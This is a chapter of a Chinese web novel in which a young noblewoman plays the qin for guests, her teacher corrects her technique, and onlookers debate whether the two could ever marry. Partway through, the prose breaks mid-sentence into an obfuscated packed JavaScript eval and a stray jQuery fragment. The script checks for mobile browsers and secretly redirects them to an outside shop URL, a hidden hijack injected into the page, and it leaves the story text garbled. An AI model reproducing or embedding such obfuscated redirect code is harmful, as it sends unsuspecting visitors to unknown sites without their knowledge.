文趣网 > 其他小说 > 风雨同舟渡山河 > 126.琴声悠悠,佳偶天成
    夕阳无限好,金色的余晖洒满了清风居的每一个角落。

    又有脚步声踏进清风居——顾子衿、顾子佩、顾承泽来了。

    三人走进院中,看见洪越和宋朗正骑在木马上,宋蕴被招财牵着在旁边等着轮换。

    木马嗒嗒嗒嗒地跑着,孩子们笑着。

    他们已听门房说了这木马的来历,并未觉得惊奇。

    三人发现王修安也在,便赶紧走进书房,走到王修安面前,齐齐行了一个礼:“先生好。”声音恭谨而克制。

    王修安连忙起身回礼。

    他每次见到顾子衿,总觉得这孩子身上有一种与年龄不符的沉静——不是冷淡,而是一种温润之中自带的从容。

    宋行简和洪楚离的目光不约而同地落在了顾子衿身上。

    他们都暗暗惊叹,每一次见到顾子衿,都被她那种温婉沉静的气质吸引着,仿佛这姑娘身上有一种天生就能让人安静下来的力量。

    洪越从门外跑进来,一把抱住顾子衿的大腿,仰着小脸,奶声奶气地喊了一声“漂亮姐姐”。

    顾子衿笑着弯腰把他抱起来,柔声问道:“小洪越,好久不见。”

    哪里知道,洪越竟然直勾勾地盯着顾子衿的脸看了好一会儿,然后凑上前去,在她的脸颊上响亮地亲了一口,留下了一片口水印。

    顾子衿先是一愣,然后笑了起来,伸手刮了一下洪越的鼻子。

    宋行简、洪楚离、顾承泽、顾子佩也跟着笑起来。

    王修安却没有笑——他只是坐回椅子上,端起茶盏,低头喝了一口茶,茶水已经凉了。

    宋行简指着洪越笑骂道:“你这小子,长大了定是个风流公子。这么小便知晓美人了,真是随你爹。”

    洪楚离在旁边加了一句:“美的花、美的人,最能引人注目。洪越这孩子,眼光倒是毒得很。”

    宋行简转向顾子衿,看了一眼王修安,忽然提议道:“子衿,你跟着修安学琴,想必得到了修安的真传。不知你可否抚琴一曲,让我们也听听——看看修安这个先生教得是否到位。”

    顾子衿很大方地应允了。

    她把手里的洪越递给洪楚离,转身走到博古架前,从架子上取下顾承宇的那张古琴。

    顾子衿把琴轻轻放在琴桌上,坐下,十指搭在琴弦上,略一凝神。

    她没有弹那些华丽的曲子,而是选了《流水》。

    琴声缓缓在弦上流泻,时而欢快,如同清溪从高山跃下,水花四溅;时而舒缓,如同溪水流过平坦的山谷,波光粼粼;时而激昂,如同百川汇入大海,波涛汹涌。

    她的指法沉稳而灵动,每一个音符都恰到好处,没有一丝多余。

    顾子佩和顾承泽走到顾承宇身边,一左一右挨着他坐下。

    每一次休沐,他们都会这样——姐姐弹琴,他们就在大哥身边说一些宫里的趣事……

    顾承宇静静地听着,脸上没有任何表情,可他握着木鸽的手指不再按那机括了。

    悠悠琴声在暮色中流淌,从书房飘到院中,又从院中飘出院墙,将这一室和满院的悲欢都化作了流水,流向暮色深处。

    琴声停止,余音仍在书房里萦绕。

    那最后几个泛音在暮色中轻轻颤动着,像是被晚风托住了,迟迟不肯散去。

    宋行简和洪楚离还沉浸在那余音里,半晌没有出声。

    王修安已从椅子上起身,走到顾子衿的身边。

    他微微俯身,目光落在琴弦上,声音温和而克制:“曲子弹得很好,意境也到了,不过技法重了一些,少了些许山水的味道。”

    他伸手,指尖搭在琴弦上,轻轻拨动了一下,琴音清越而短促,“你的挑、拨的指法都偏重,在起承转合时便不顺畅,像是溪水撞在石头上,本该是‘潺潺’,却被弹成了‘哗哗’。”

    他一边说一边示范,指尖在琴弦上轻巧地挑了两下,动作极轻,力道恰到好处,琴声果然变得圆润了许多。

    他让顾子衿重新试一下,顾子衿照着弹了,他便微微点头:“对,就是这样。指力要蓄在指尖,但放出去的时候要收得住。”

    从余音里走出来的洪楚离和宋行简饶有兴味地看着这一幕——男的身姿修长,微微俯身,温文儒雅,目光落在琴弦上,专注而温柔。女的温婉从容,指尖跟着男的指导在琴弦上移动,时而抬起头望着男的微微一笑,那笑容里既有学生得教的了然,也有几分少女特有的羞涩。

    两个人站在琴桌前,暮色从窗外斜斜地照进来,把他们笼罩在同一片金色的光影里。

    知晓的人知道这是先生与学生,不知晓的人定会认为他们是一双璧人。

    洪楚离把嘴伸到宋行简耳边,压低了声音,语气里带着几分促狭:“我看先生与子衿倒像天生一对。男的儒雅,女的貌美,站在一起真是佳偶天成。”

    宋行简眉头微微皱起,也压低了声音,语气却比洪楚离严肃得多:“你真是狗嘴里吐不出象牙。这是先生,这是学生,师徒有别,怎么可能成为一对。”

    他说完顿了一下,又补了一句,声音更低了,“再说,满京城里谁人不知大皇子箫行健心悦子衿。每次休沐他都想方设法往顾府送东西,只是不敢明着送罢了。子衿乃是侯门嫡女,以后十有八九是要嫁给大皇子做王妃的。先生若是动了心思,大皇子那边岂会善罢甘休。”

    洪楚离听了,不以为意地摇了摇头,嘴角依旧是那副纨绔子弟特有的浑不吝的笑:“什么师徒有别——只要喜欢,就要无拘。先生教子衿教了这么多年,两人在一起的时间比谁都长。我

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697731|206141||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看大皇子未必就比先生更懂子衿。再说了,大皇子那边八字还没一撇呢。陛下连立储都不肯提,大皇子的婚事更是遥遥无期。再说——”

    他看了王修安一眼,又看了看顾子衿,“我看啊,先生与子衿,除了年纪相差大一些,怎么看都是十分般配。先生可当世大儒王谦唯一的孩子,在文华殿教书多年,朝野上下谁不敬他三分。”

    宋行简叹了口气,目光又落在那两个人身上。

    暮色越来越浓,顾子衿低头弹琴,王修安站在她身侧,手指在琴弦上轻轻比划着。

    那画面确实很美,美得像一幅画,可他也比洪楚离清醒:“子衿乃是侯门嫡女。就算先生有意,子衿也逃不过家族安排的命运。世家的女儿,有哪个是自己选的姻缘?顾贵妃当年入宫,难道是因为喜欢皇上吗?即将嫁给沈十安的含章,难道也是因为喜欢?”

    他这话说得又轻又沉。

    洪楚离听了,长长地叹了一口气。他知道宋行简说得对。他自己娶霍傲雪是皇上下旨赐婚,算是幸运——一见钟情。

    可京城里更多的是被家族摆布的姻缘,是那些素未谋面便被送入洞房的男男女女。

    王修安和顾子衿,中间隔着师徒的名分,隔着侯门的门槛,隔着大皇子的心意,隔着世俗的目光,隔着太多太多。

    顾承泽和顾子佩坐在顾承宇身边,两人双手撑在桌上,掌心托着下巴,也在看着不远处的王修安和顾子衿。

    顾子佩的嘴角微微扬起,那双一向骄纵的眼睛里难得地出现了一丝柔软。她轻声说道:“如果姐姐能嫁给先生,那该多好。你看,他们是多么般配啊。”她说这话时像是在自言自语,却让顾承泽侧头看了她一眼。

    顾承泽眉头微微皱了一下,低声驳道:“别瞎说。先生与子衿师徒有别,即使他们有意,世俗的眼光和口水哪里能容得下。先生若是开了这个头,以后文华殿里那些学生怎么看先生,满朝文武的唾沫星子能把先生淹死。子衿也会被人戳脊梁骨。”他说这话时目光很沉,已经懂得了这世间的人言可畏。

    顾承宇也转头望了过去。

    他的目光落在王修安和顾子衿身上——王修安正在纠正顾子衿的指法,手指悬在琴弦上方,并未触碰到她的手,只是虚虚地比了个位置。

    顾子衿认真地照着弹了,然后抬起头朝他笑了一下。王修安也笑了,那笑容温和而短暂,像一个先生看到学生进步时的欣慰。然后他退开一步,重新站直了身子,拉开了距离。

    顾承宇看完这一幕,什么也没有说,只是把目光重新收了回来,落在掌心那只木鸽上。

    他的手指摩挲着木鸽腹部的机括,一圈,又一圈。有些话不能说,有些事不能做。

    可不能说不能做的,往往才是最不该被藏起来的。